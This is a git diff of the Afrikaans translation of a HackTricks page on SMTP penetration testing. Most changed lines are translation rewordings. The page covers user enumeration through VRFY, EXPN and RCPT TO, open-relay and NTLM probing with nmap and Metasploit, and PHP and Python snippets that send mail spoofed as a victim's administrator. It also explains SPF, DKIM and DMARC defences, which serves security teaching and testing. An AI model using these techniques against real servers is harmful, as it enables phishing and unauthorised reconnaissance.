||||
Indien jy die geleentheid het om die slagoffer 'n e-pos te laat stuur (byvoorbeeld via die kontakvorm van die webwerf), doen dit omdat jy die interne topologie van die slagoffer kan sien deur na die koppe van die e-pos te kyk.
|
||||
Indien jy die geleentheid het om **die slagoffer 'n e-pos te laat stuur** (byvoorbeeld via die kontakvorm van die webwerf), doen dit omdat **jy meer kan leer oor die interne topologie** van die slagoffer deur na die koppe van die e-pos te kyk.
|
||||
|
||||
Jy kan ook 'n e-pos kry van 'n SMTP-bediener wat probeer om 'n e-pos na 'n nie-bestaande adres op daardie bediener te stuur (omdat die bediener 'n NDN-e-pos aan die aanvaller sal stuur). Maar, maak seker dat jy die e-pos vanaf 'n toegelate adres stuur (kontroleer die SPF-beleid) en dat jy NDN-boodskappe kan ontvang.
|
||||
Jy kan ook 'n e-pos van 'n SMTP-bediener kry wat probeer om **'n e-pos aan daardie bediener te stuur na 'n nie-bestaande adres** (omdat die bediener 'n NDN-e-pos aan die aanvaller sal stuur). Maar, maak seker dat jy die e-pos vanaf 'n toegelate adres stuur (kontroleer die SPF-beleid) en dat jy NDN-boodskappe kan ontvang.
|
||||
|
||||
Jy moet ook probeer om verskillende inhoud te stuur omdat jy meer interessante inligting in die koppe kan vind soos: `X-Virus-Scanned: by av.domain.com`\
|
||||
Jy moet ook probeer om **verskillende inhoud te stuur omdat jy meer interessante inligting kan vind** in die koppe soos: `X-Virus-Scanned: by av.domain.com`\
|
||||
Jy moet die EICAR toetslêer stuur.\
|
||||
Die opsporing van die AV kan jou in staat stel om bekende kwesbaarhede uit te buit.
|
||||
Die opsporing van die **AV** mag jou in staat stel om **bekende kwesbaarhede uit te buit.**
|
||||
|
||||
## Basiese aksies
|
||||
|
||||
|
@ -63,9 +63,9 @@ dig +short mx google.com
|
|||
nmap -p25 --script smtp-commands 10.10.10.10
|
||||
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
||||
```
|
||||
### NTLM Auth - Inligtingsoffening
|
||||
### NTLM-verifisering - Inligtingsoffening
|
||||
|
||||
Indien die bediener NTLM-outentifisering ondersteun (Windows) kan jy sensitiewe inligting (weergawes) verkry. Meer inligting [**hier**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666).
|
||||
Indien die bediener NTLM-verifisering ondersteun (Windows) kan jy sensitiewe inligting (weergawes) verkry. Meer inligting [**hier**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666).
|
||||
```bash
|
||||
root@kali: telnet example.com 587
|
||||
220 example.com SMTP Server Banner
|
||||
|
@ -78,7 +78,7 @@ NTLM supported
|
|||
```
|
||||
Of **outomatiseer** dit met **nmap** invoegtoepassing `smtp-ntlm-info.nse`
|
||||
|
||||
### Interne bedienernaam - Inligtingsoffening
|
||||
### Interne bedienernaam - Inligtingsoortdringing
|
||||
|
||||
Sommige SMTP-bedieners vul outomaties 'n afsender se adres aan wanneer die opdrag "MAIL FROM" uitgereik word sonder 'n volledige adres, wat sy interne naam openbaar maak:
|
||||
```
|
||||
|
@ -105,7 +105,7 @@ Kyk of jy 'n wagwoord van die pakkies na poort 25 kan bespeur
|
|||
|
||||
### [Auth bruteforce](../../generic-methodologies-and-resources/brute-force.md#smtp)
|
||||
|
||||
## Gebruikersnaam Bruteforce Opnoeming
|
||||
## Gebruikersnaam Bruteforce Opname
|
||||
|
||||
**Verifikasie is nie altyd nodig nie**
|
||||
|
||||
|
@ -129,7 +129,7 @@ RCPT TO:ed
|
|||
```
|
||||
### VRFY
|
||||
|
||||
VRFY is 'n SMTP-opdrag wat gebruik kan word om te bevestig of 'n spesifieke e-posadres geldig is op die bedienaar. Dit kan deur aanvallers misbruik word om geldige e-posadresse te bevestig vir hulle aanvalle.
|
||||
VRFY is 'n SMTP-bevel wat gebruik kan word om te bevestig of 'n spesifieke e-posadres geldig is op die bedienaar. Dit kan deur aanvallers misbruik word om geldige e-posadresse te oes vir doeleindes soos phising of spam. Dit word aanbeveel om die VRFY-bevel te deaktiveer om die veiligheid van die e-posbedienaar te verhoog.
|
||||
```bash
|
||||
$ telnet 1.1.1.1 25
|
||||
Trying 1.1.1.1...
|
||||
|
@ -147,8 +147,7 @@ VRFY blah
|
|||
```
|
||||
### EXPN
|
||||
|
||||
**Beskrywing:**
|
||||
Die EXPN-opdrag vra die bediener om die volledige posadres van 'n spesifieke e-posadres te onthul. Dit kan 'n veiligheidsrisiko skep deur die blootstelling van geldige e-posadresse op die stelsel.
|
||||
### Uitbreiding
|
||||
```bash
|
||||
$ telnet 1.1.1.1 25
|
||||
Trying 1.1.1.1...
|
||||
|
@ -171,15 +170,15 @@ Metasploit: auxiliary/scanner/smtp/smtp_enum
|
|||
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
|
||||
Nmap: nmap --script smtp-enum-users <IP>
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Onmiddellik beskikbare opstelling vir kwetsbaarheidsassessering & pentesting**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap en kenmerke wat strek van verkenningswerk tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing- en uitbuitingsmodules om hulle 'n bietjie tyd te gee om dieper te delf, skulpe te laat klap, en pret te hê.
|
||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering en pentesting**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap en kenmerke wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing- en uitbuitingsmodules om hulle 'n bietjie tyd te gee om dieper te delf, skulpe te laat spat, en pret te hê.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
## DSN Verslae
|
||||
## DSN-rapporte
|
||||
|
||||
**Afleweringsstatuskennisgewingsverslae**: As jy 'n **e-pos** na 'n organisasie stuur na 'n **ongeldige adres**, sal die organisasie jou in kennis stel dat die adres ongeldig was deur 'n **e-pos terug te stuur**. **Koppe** van die teruggekeerde e-pos sal moontlike **sensitiewe inligting bevat** (soos IP-adres van die e-posdiens wat met die verslae geïnteraksioneer het of inligting oor antivirusagteware).
|
||||
**Afleweringsstatuskennisgewingsrapporte**: As jy 'n **e-pos** na 'n organisasie stuur na 'n **ongeldige adres**, sal die organisasie jou in kennis stel dat die adres ongeldig was deur 'n **e-pos terug te stuur**. **Koppe** van die teruggekeerde e-pos sal moontlike **sensitiewe inligting bevat** (soos IP-adres van die e-posdiens wat met die rapporte geïnteraksioneer het of inligting oor antivirusagteware).
|
||||
|
||||
## [Opdragte](smtp-commands.md)
|
||||
|
||||
|
@ -248,26 +247,26 @@ print("[***]successfully sent email to %s:" % (msg['To']))
|
|||
|
||||
## SMTP Smuggling
|
||||
|
||||
SMTP Smuggling kwetsbaarheid het toegelaat om alle SMTP beskermings te omseil (kyk die volgende afdeling vir meer inligting oor beskermings). Vir meer inligting oor SMTP Smuggling kyk:
|
||||
SMTP Smuggling-kwesbaarheid het dit moontlik gemaak om alle SMTP-beskermingsmaatreëls te omseil (kyk na die volgende afdeling vir meer inligting oor beskermings). Vir meer inligting oor SMTP Smuggling kyk:
|
||||
|
||||
{% content-ref url="smtp-smuggling.md" %}
|
||||
[smtp-smuggling.md](smtp-smuggling.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## E-pos Vervalsing Teenmaatreëls
|
||||
## E-posvervalsing Teenmaatreëls
|
||||
|
||||
Organisasies word verhoed om ongemagtigde e-posse namens hulle te stuur deur **SPF**, **DKIM**, en **DMARC** te gebruik as gevolg van die maklikheid van vervalsing van SMTP-boodskappe.
|
||||
Organisasies word verhoed om ongemagtigde e-posse namens hulle te stuur deur **SPF**, **DKIM**, en **DMARC** te gebruik as gevolg van die maklikheid van die vervalsing van SMTP-boodskappe.
|
||||
|
||||
'n **Volledige gids vir hierdie teenmaatreëls** is beskikbaar by [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).
|
||||
|
||||
### SPF
|
||||
|
||||
{% hint style="danger" %}
|
||||
SPF [was "verouderd" in 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Dit beteken dat in plaas van 'n **TXT rekord** te skep in `_spf.domain.com` moet jy dit in `domain.com` skep met dieselfde sintaksis.\
|
||||
Verder, om vorige spf rekords her te gebruik is dit baie algemeen om iets soos `"v=spf1 include:_spf.google.com ~all"` te vind.
|
||||
SPF is in 2014 "verouderd" geraak. Dit beteken dat jy in plaas van 'n **TXT-rekord** in `_spf.domain.com` dit in `domain.com` moet skep met dieselfde sintaksis.\
|
||||
Verder, om vorige spf-rekords te hergebruik, is dit baie algemeen om iets soos `"v=spf1 include:_spf.google.com ~all"` te vind.
|
||||
{% endhint %}
|
||||
|
||||
**Sender Policy Framework** (SPF) is 'n meganisme wat E-pos Oordrag Agente (MTAs) in staat stel om te verifieer of 'n gas wat 'n e-pos stuur gemagtig is deur 'n lys van gemagtigde posdiensverskaffers wat deur die organisasies gedefinieer is te ondervra. Hierdie lys, wat IP-adresse/reeks, domeine, en ander entiteite spesifiseer wat **gemagtig is om e-pos namens 'n domeinnaam te stuur**, sluit verskeie "**Meganismes**" in die SPF-rekord in.
|
||||
**Sender Policy Framework** (SPF) is 'n meganisme wat E-posoorplasingsagente (MTA's) in staat stel om te verifieer of 'n gas wat 'n e-pos stuur, gemagtig is deur 'n lys van gemagtigde posdiensverskaffers wat deur die organisasies gedefinieer is, te ondervra. Hierdie lys, wat IP-adresse/reeks, domeine, en ander entiteite **wat gemagtig is om e-pos namens 'n domeinnaam te stuur**, sluit verskeie "**Meganismes**" in die SPF-rekord in.
|
||||
|
||||
#### Meganismes
|
||||
|
||||
|
@ -280,22 +279,22 @@ Vanaf [Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework):
|
|||
| IP4 | As die afzender in 'n gegewe IPv4-adresreeks is, pas dit. |
|
||||
| IP6 | As die afzender in 'n gegewe IPv6-adresreeks is, pas dit. |
|
||||
| MX | As die domeinnaam 'n MX-rekord het wat na die afzender se adres oplos, sal dit pas (m.a.w. die e-pos kom van een van die domein se inkomende posdiensverskaffers). |
|
||||
| PTR | As die domeinnaam (PTR-rekord) vir die klient se adres in die gegewe domein is en daardie domeinnaam na die klient se adres oplos (voorwaarts-bevestigde omgekeerde DNS), pas dit. Hierdie meganisme word afgeraad en moet vermy word, indien moontlik. |
|
||||
| BESTAAN | As die gegewe domeinnaam na enige adres oplos, pas dit (ongeag die adres waarvoor dit oplos). Dit word selde gebruik. Tesame met die SPF makrotaal bied dit meer komplekse koppeling soos DNSBL-navrae. |
|
||||
| INSLEEP | Verwys na die beleid van 'n ander domein. As daardie domein se beleid slaag, slaag hierdie meganisme. Indien die ingeslote beleid egter misluk, word die verwerking voortgesit. Om ten volle te delegeer na 'n ander domein se beleid, moet die omleidinguitbreiding gebruik word. |
|
||||
| OMLEIDING | <p>'n Omleiding is 'n aanwyser na 'n ander domeinnaam wat 'n SPF-beleid huisves, dit maak dit moontlik vir verskeie domeine om dieselfde SPF-beleid te deel. Dit is nuttig wanneer daar met 'n groot hoeveelheid domeine gewerk word wat dieselfde e-posinfrastruktuur deel.</p><p>Die SPF-beleid van die domein wat in die omleidingsmeganisme aangedui word, sal gebruik word.</p> |
|
||||
| PTR | As die domeinnaam (PTR-rekord) vir die klient se adres in die gegewe domein is en daardie domeinnaam na die klient se adres oplos (voorwaartse-bevestigde omgekeerde DNS), pas dit. Hierdie meganisme word afgeraad en moet vermy word, indien moontlik. |
|
||||
| BESTAAN | As die gegewe domeinnaam na enige adres oplos, pas dit (maak nie saak na watter adres dit oplos nie). Dit word selde gebruik. Tesame met die SPF-makrotaal bied dit meer komplekse koppeling soos DNSBL-navrae. |
|
||||
| INSLOOT | Verwys na die beleid van 'n ander domein. As daardie domein se beleid slaag, slaag hierdie meganisme. Indien die ingeslote beleid egter misluk, word die verwerking voortgesit. Om ten volle na 'n ander domein se beleid te delegeer, moet die omskakelinguitbreiding gebruik word. |
|
||||
| HERLEI | <p>'n Herleiing is 'n aanwyser na 'n ander domeinnaam wat 'n SPF-beleid huisves, dit maak dit moontlik vir verskeie domeine om dieselfde SPF-beleid te deel. Dit is nuttig wanneer daar met 'n groot hoeveelheid domeine gewerk word wat dieselfde e-posinfrastruktuur deel.</p><p>Die SPF-beleid van die domein wat in die herleimeganisme aangedui word, sal gebruik word.</p> |
|
||||
|
||||
Dit is ook moontlik om **Kwalifiseerders** te identifiseer wat aandui **wat gedoen moet word as 'n meganisme gekoppel word**. Standaard word die **kwalifiseerder "+"** gebruik (dus as enige meganisme gekoppel word, beteken dit dit is toegelaat).\
|
||||
Gewoonlik sal jy **aan die einde van elke SPF-beleid** iets soos: **\~all** of **-all** opmerk. Dit word gebruik om aan te dui dat **as die afzender nie aan enige SPF-beleid voldoen nie, moet jy die e-pos as onbetroubaar tag (\~) of die e-pos verwerp (-).**
|
||||
Gewoonlik sal jy **aan die einde van elke SPF-beleid** iets soos: **\~all** of **-all** opmerk. Dit word gebruik om aan te dui dat **as die afzender nie met enige SPF-beleid ooreenstem nie, jy die e-pos as onbetroubaar (\~) moet merk of die e-pos moet verwerp (-)**.
|
||||
|
||||
#### Kwalifiseerders
|
||||
|
||||
Elke meganisme binne die beleid kan voorafgegaan word deur een van vier kwalifiseerders om die bedoelde resultaat te definieer:
|
||||
|
||||
* **`+`**: Stem ooreen met 'n SUKSES-resultaat. Standaard aanvaar meganismes hierdie kwalifiseerder, wat `+mx` gelykstaande maak aan `mx`.
|
||||
* **`+`**: Stem ooreen met 'n PAS-resultaat. Standaard aanvaar meganismes hierdie kwalifiseerder, wat `+mx` gelykstaande maak aan `mx`.
|
||||
* **`?`**: Verteenwoordig 'n NEUTRALE resultaat, wat soortgelyk behandel word as GEEN (geen spesifieke beleid).
|
||||
* **`~`**: Dui op SOFTFAIL, wat as 'n middelgrond tussen NEUTRAAL en MISLUK dien. E-posse wat aan hierdie resultaat voldoen, word tipies aanvaar maar dienooreenkomstig gemerk.
|
||||
* **`-`**: Dui op MISLUK, wat aandui dat die e-pos heeltemal verwerp moet word.
|
||||
* **`~`**: Dui SOFTFAIL aan, as 'n middelgrond tussen NEUTRAAL en MISLUK. E-posse wat aan hierdie resultaat voldoen, word tipies aanvaar maar dienooreenkomstig gemerk.
|
||||
* **`-`**: Dui MISLUK aan, wat aandui dat die e-pos heeltemal verwerp moet word.
|
||||
|
||||
In die naderende voorbeeld word die **SPF-beleid van google.com** geïllustreer. Let op die insluiting van SPF-beleide van verskillende domeine binne die eerste SPF-beleid:
|
||||
```shell-session
|
||||
|
@ -316,15 +315,15 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36
|
|||
dig txt _netblocks3.google.com | grep spf
|
||||
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
|
||||
```
|
||||
Tradisioneel was dit moontlik om enige domeinnaam te vervals wat nie 'n korrekte/geen SPF-rekord het nie. **Vandag**, as 'n **e-pos** afkomstig is van 'n **domein sonder 'n geldige SPF-rekord** sal dit waarskynlik **outomaties as onbetroubaar verwerp/gemerk word**.
|
||||
Tradisioneel was dit moontlik om enige domeinnaam te vervals wat nie 'n korrekte/geen SPF-rekord het nie. **Vandag**, as 'n **e-pos** afkomstig is van 'n **domein sonder 'n geldige SPF-rekord** sal dit waarskynlik **outomaties as onbetroubaar verwerp gemerk word**.
|
||||
|
||||
Om die SPF van 'n domein te kontroleer, kan jy aanlyn gereedskap soos gebruik: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
|
||||
|
||||
### DKIM (DomainKeys Identified Mail)
|
||||
|
||||
DKIM word gebruik om uitgaande e-posse te onderteken, wat hul validering deur eksterne Mail Transfer Agents (MTAs) moontlik maak deur die ophaling van die domein se openbare sleutel uit DNS. Hierdie openbare sleutel word gevind in 'n domein se TXT-rekord. Om toegang tot hierdie sleutel te verkry, moet 'n persoon beide die kieser en die domeinnaam ken.
|
||||
DKIM word gebruik om uitgaande e-posse te onderteken, wat hul validasie deur eksterne Mail Transfer Agents (MTAs) moontlik maak deur die ophaling van die publieke sleutel van die domein uit DNS. Hierdie publieke sleutel word gevind in 'n domein se TXT-rekord. Om toegang tot hierdie sleutel te verkry, moet 'n persoon beide die kieser en die domeinnaam ken.
|
||||
|
||||
Byvoorbeeld, om die sleutel aan te vra, is die domeinnaam en kieser noodsaaklik. Hierdie kan gevind word in die e-pos se kop `DKIM-Signature`, bv., `d=gmail.com;s=20120113`.
|
||||
Byvoorbeeld, om die sleutel aan te vra, is die domeinnaam en kieser noodsaaklik. Hierdie kan gevind word in die e-poskop `DKIM-Signature`, bv., `d=gmail.com;s=20120113`.
|
||||
|
||||
'n Opdrag om hierdie inligting op te haal kan lyk soos:
|
||||
```bash
|
||||
|
@ -355,9 +354,9 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
|
|||
| Tag Naam | Doel | Voorbeeld |
|
||||
| -------- | --------------------------------------------- | ------------------------------- |
|
||||
| v | Protokol weergawe | v=DMARC1 |
|
||||
| pct | Persentasie van boodskappe onderhewig aan filter | pct=20 |
|
||||
| pct | Persentasie van boodskappe onderwerp aan filter | pct=20 |
|
||||
| ruf | Verslagdoenings-URI vir forensiese verslae | ruf=mailto:authfail@example.com |
|
||||
| rua | Verslagdoenings-URI van aggregaatverslae | rua=mailto:aggrep@example.com |
|
||||
| rua | Verslagdoenings-URI van aggregaat verslae | rua=mailto:aggrep@example.com |
|
||||
| p | Beleid vir organisatoriese domein | p=quarantine |
|
||||
| sp | Beleid vir subdomeine van die OD | sp=reject |
|
||||
| adkim | Uitlynmodus vir DKIM | adkim=s |
|
||||
|
@ -367,27 +366,27 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
|
|||
|
||||
**Van** [**hier**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
|
||||
Jy moet afsonderlike SPF-rekords hê vir elke subdomein waarvandaan jy e-pos wil stuur.\
|
||||
Die volgende is oorspronklik geplaas op openspf.org, wat 'n goeie bron was vir hierdie soort inligting.
|
||||
Die volgende is oorspronklik geplaas op openspf.org, wat 'n goeie bron was vir hierdie soort dinge.
|
||||
|
||||
> Die Duiwelvraag: Wat van subdomeine?
|
||||
>
|
||||
> As ek e-pos kry van pielovers.demon.co.uk, en daar is geen SPF-data vir pielovers nie, moet ek teruggaan na die volgende vlak en SPF vir demon.co.uk toets? Nee. Elke subdomein by Demon is 'n ander kliënt, en elke kliënt mag sy eie beleid hê. Dit sou nie sin maak vir Demon se beleid om standaard op al sy kliënte van toepassing te wees nie; as Demon dit wil doen, kan dit SPF-rekords opstel vir elke subdomein.
|
||||
> As ek e-pos kry van pielovers.demon.co.uk, en daar is geen SPF-data vir pielovers nie, moet ek teruggaan na die volgende vlak en SPF vir demon.co.uk toets? Nee. Elke subdomein by Demon is 'n ander kliënt, en elke kliënt kan sy eie beleid hê. Dit sou nie sin maak vir Demon se beleid om per verstek op al sy kliënte van toepassing te wees nie; as Demon dit wil doen, kan dit SPF-rekords opstel vir elke subdomein.
|
||||
>
|
||||
> Dus is die raad aan SPF-uitgewers as volg: jy moet 'n SPF-rekord byvoeg vir elke subdomein of gasheernaam wat 'n A- of MX-rekord het.
|
||||
> Dus is die advies aan SPF-uitgewers as volg: jy moet 'n SPF-rekord byvoeg vir elke subdomein of gasheernaam wat 'n A- of MX-rekord het.
|
||||
>
|
||||
> Webwerwe met wildkaart A- of MX-rekords moet ook 'n wildkaart SPF-rekord hê, van die vorm: \* IN TXT "v=spf1 -all"
|
||||
|
||||
Dit maak sin - 'n subdomein kan heel moontlik in 'n ander geografiese ligging wees en 'n baie verskillende SPF-definisie hê.
|
||||
Dit maak sin - 'n subdomein kan heel moontlik in 'n ander geografiese ligging wees en 'n baie ander SPF-definisie hê.
|
||||
|
||||
### **Oop Relê**
|
||||
### **Oop Relais**
|
||||
|
||||
Wanneer e-posse gestuur word, is dit noodsaaklik om te verseker dat hulle nie as spam geïdentifiseer word nie. Dit word dikwels bereik deur die gebruik van 'n **relêbediener wat deur die ontvanger vertrou word**. Tog is 'n algemene uitdaging dat administrateurs dalk nie ten volle bewus is van watter **IP-reeks veilig is om toe te laat nie**. Hierdie gebrek aan begrip kan lei tot foute in die opstel van die SMTP-bediener, 'n risiko wat gereeld geïdentifiseer word in sekuriteitsassesserings.
|
||||
Wanneer e-posse gestuur word, is dit van kritieke belang om te verseker dat hulle nie as spam geïdentifiseer word nie. Dit word dikwels bereik deur die gebruik van 'n **relaisbediener wat vertrou word deur die ontvanger**. 'n Algemene uitdaging is egter dat administrateurs dalk nie ten volle bewus is van watter **IP-reeks veilig is om toe te laat** nie. Hierdie gebrek aan begrip kan lei tot foute in die opstel van die SMTP-bedieners, 'n risiko wat gereeld geïdentifiseer word in sekuriteitsassesserings.
|
||||
|
||||
'N omweg wat sommige administrateurs gebruik om e-posleweringprobleme te vermy, veral met betrekking tot kommunikasie met potensiële of lopende kliënte, is om **verbindings van enige IP-adres toe te laat**. Dit word gedoen deur die `mynetworks`-parameter van die SMTP-bediener te konfigureer om alle IP-adresse te aanvaar, soos hieronder getoon:
|
||||
'N Oorkomingsmetode wat sommige administrateurs gebruik om e-posleweringprobleme te vermy, veral met betrekking tot kommunikasie met potensiële of lopende kliënte, is om **verbindings van enige IP-adres toe te laat**. Dit word gedoen deur die `mynetworks`-parameter van die SMTP-bediener te konfigureer om alle IP-adresse te aanvaar, soos hieronder weergegee:
|
||||
```bash
|
||||
mynetworks = 0.0.0.0/0
|
||||
```
|
||||
Vir die kontrolering of 'n e-posbediener 'n oop relê is (wat beteken dit kan e-pos van enige eksterne bron deurstuur), word die `nmap`-werktuig gewoonlik gebruik. Dit sluit 'n spesifieke skrips in wat ontwerp is om dit te toets. Die bevel om 'n uitvoerige skandering op 'n bediener uit te voer (byvoorbeeld met IP 10.10.10.10) op poort 25 met behulp van `nmap` is:
|
||||
Vir die kontrolering of 'n e-posbediener 'n oop relê is (wat beteken dat dit e-pos van enige eksterne bron kan deurstuur), word die `nmap`-werktuig gewoonlik gebruik. Dit sluit 'n spesifieke skrips in wat ontwerp is om dit te toets. Die bevel om 'n uitvoerige skandering op 'n bediener uit te voer (byvoorbeeld met IP 10.10.10.10) op poort 25 met behulp van `nmap` is:
|
||||
```bash
|
||||
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
||||
```
|
||||
|
@ -438,7 +437,7 @@ K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
|
|||
{% tabs %}
|
||||
{% tab title="PHP" %}
|
||||
<pre class="language-php"><code class="lang-php"><strong># Dit sal 'n ondertekende boodskap stuur
|
||||
</strong><strong>mail("jou_email@gmail.com", "Toets onderwerp!", "hey! Dit is 'n toets", "Van: administrator@slagoffer.com");
|
||||
</strong><strong>mail("jou_email@gmail.com", "Toets onderwerp!", "hallo! Dit is 'n toets", "Van: administrator@slagoffer.com");
|
||||
</strong></code></pre>
|
||||
{% endtab %}
|
||||
|
||||
|
@ -503,11 +502,11 @@ s.sendmail(sender, [destination], msg_data)
|
|||
|
||||
### **Meer inligting**
|
||||
|
||||
**Vind meer inligting oor hierdie beskermingsmaatreëls in** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/)
|
||||
**Vind meer inligting oor hierdie beskermings in** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/)
|
||||
|
||||
### **Ander hengel aanduiders**
|
||||
|
||||
* Domein se ouderdom
|
||||
* Ouderdom van die domein
|
||||
* Skakels wat na IP-adresse wys
|
||||
* Skakel manipulasie tegnieke
|
||||
* Verdagte (ongewone) aanhangsels
|
||||
|
@ -524,7 +523,7 @@ s.sendmail(sender, [destination], msg_data)
|
|||
|
||||
### Postfix
|
||||
|
||||
Gewoonlik, as geïnstalleer, in `/etc/postfix/master.cf` bevat **skripte om uit te voer** wanneer byvoorbeeld 'n nuwe pos deur 'n gebruiker ontvang word. Byvoorbeeld die lyn `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` beteken dat `/etc/postfix/filtering` uitgevoer sal word as 'n nuwe pos deur die gebruiker mark ontvang word.
|
||||
Gewoonlik bevat, indien geïnstalleer, in `/etc/postfix/master.cf` **skripte om uit te voer** wanneer byvoorbeeld 'n nuwe e-pos deur 'n gebruiker ontvang word. Byvoorbeeld die lyn `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` beteken dat `/etc/postfix/filtering` uitgevoer sal word as 'n nuwe e-pos deur die gebruiker mark ontvang word.
|
||||
|
||||
Ander konfigurasie lêers:
|
||||
```
|
||||
|
@ -585,9 +584,9 @@ Note: sourced from https://github.com/carlospolop/legion
|
|||
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
|
||||
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Onmiddellik beskikbare opstelling vir kwetsbaarheidsassessering & pentesting**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap en kenmerke wat strek van verkenningswerk tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing- en uitbuitingsmodules om hulle 'n bietjie tyd te gee om dieper te delf, skulpe te laat pop en pret te hê.
|
||||
**Onmiddellik beskikbare opstelling vir kwetsbaarheidsassessering en pentesting**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap en kenmerke wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing- en uitbuitingsmodules om hulle tyd te gee om dieper te delf, skulpe te laat pop en pret te hê.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
@ -597,7 +596,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {
|
|||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -2,34 +2,34 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
